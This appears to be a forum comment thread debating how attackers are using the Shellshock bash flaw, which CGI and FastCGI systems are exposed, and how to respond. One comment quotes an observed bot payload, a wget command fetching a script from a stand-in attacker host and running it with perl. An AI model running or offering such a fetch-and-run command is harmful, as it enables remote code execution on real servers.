My take is that what's happening right now is mass reconnaissance. Since the Shellshock problem will only occur on sites (or specific pages) where bash is invoked it's necessary to go round and figure out what's vulnerable.

I'd guess that blackhats and whitehats are all out building those lists of vulnerable machines. They can then go back and exploit them en masse later.

I know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget http://evil.com/script.pl -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously.

There aren't going to be that many popped servers because the number of Internet-facing web apps that use CGI + have bash as /bin/sh or call bash explicitly is not all that high, though it is still high enough to build a considerable botnet. The other issue is that they need to find a code path in a CGI app that calls out to bash, while many of the bots so far seem a bit naive in their crawling (excluding the ones targeting specific appliances and panels). A request to a hypothetical /cgi-bin/status.cgi may not do anything, but what they don't realize is that status.cgi?details=1 may call system("date") and then give them RCE.

Understood. I based the claim that it was mostly reconnaissance right now on the fact that 83% of all the requests we were seeing were reconnaissance and not dropping malware. But, I agree, there is a lot of malware being dropped as well.

My organization has mostly been seeing more reconnaissance than actual code execution as well. I suspect, or perhaps just hope, that this is because most of the current scanning is being done by white hats/gray hats. I suspect the people who actually want to infect machines aren't bothering with reconnaissance.

Wrong. See my post above, along with the perl script that's used. It's controlled over IRC channel #apache on chaos.legend.rocks by the "god","ARZ","Zax" users.

It's a big deal because it's a major flaw in long established software. Many unix systems saw bash as safe enough to use as /bin/sh. The CGI-bash exploit leverages two of the oldest technologies on the web.

However, CGI isn't common these days. I don't know any large sites still using it.

So it's mostly going to hit older sites that work but aren't well maintained. Also a lot of embedded systems have CGI based web interfaces that could be vulnerable. It's not clear what the effect of that will be.

Also a fair amount of internal stuff - issue trackers, online expense forms, whatever else.

You're not hearing about anything major because those who have major exploits aren't about to tell the world. Successful intrusion here means what it usually means: RATing any devices possible; patching those devices themselves; infecting the network when possible; staying quiet and gathering. Machines that were vulnerable and later fixed now should be considered with the same weight as having been rooted. They should be fully overhauled. That means new drives, even. Of course, we all know that'll never happen. The overwhelming majority of people and companies handle data recklessly.

This is not actually a big problem for 99.9% of web apps out there. Only CGI web apps actually need to be concerned. Anything else is pretty much sensationalism.

It absolutely is a problem for many other things, but non-CGI web apps is almost always not one of them.

Some FastCGI frameworks helpfully set up environment variables in the web app---you know, just in case you run a sub-process and want it to work the same way it would have from a CGI.

See Per-Request Environment Variables at http://www.fastcgi.com/devkit/doc/fastcgi-prog-guide/ch1intr...

These aren't ubiquitous---but it also isn't just CGI programs that expose this vulnerability.

I would guess that for (m)any breaches that have occurred so far, the owner might not have even checked for evidence nor have the thieves bragged yet. Time will tell.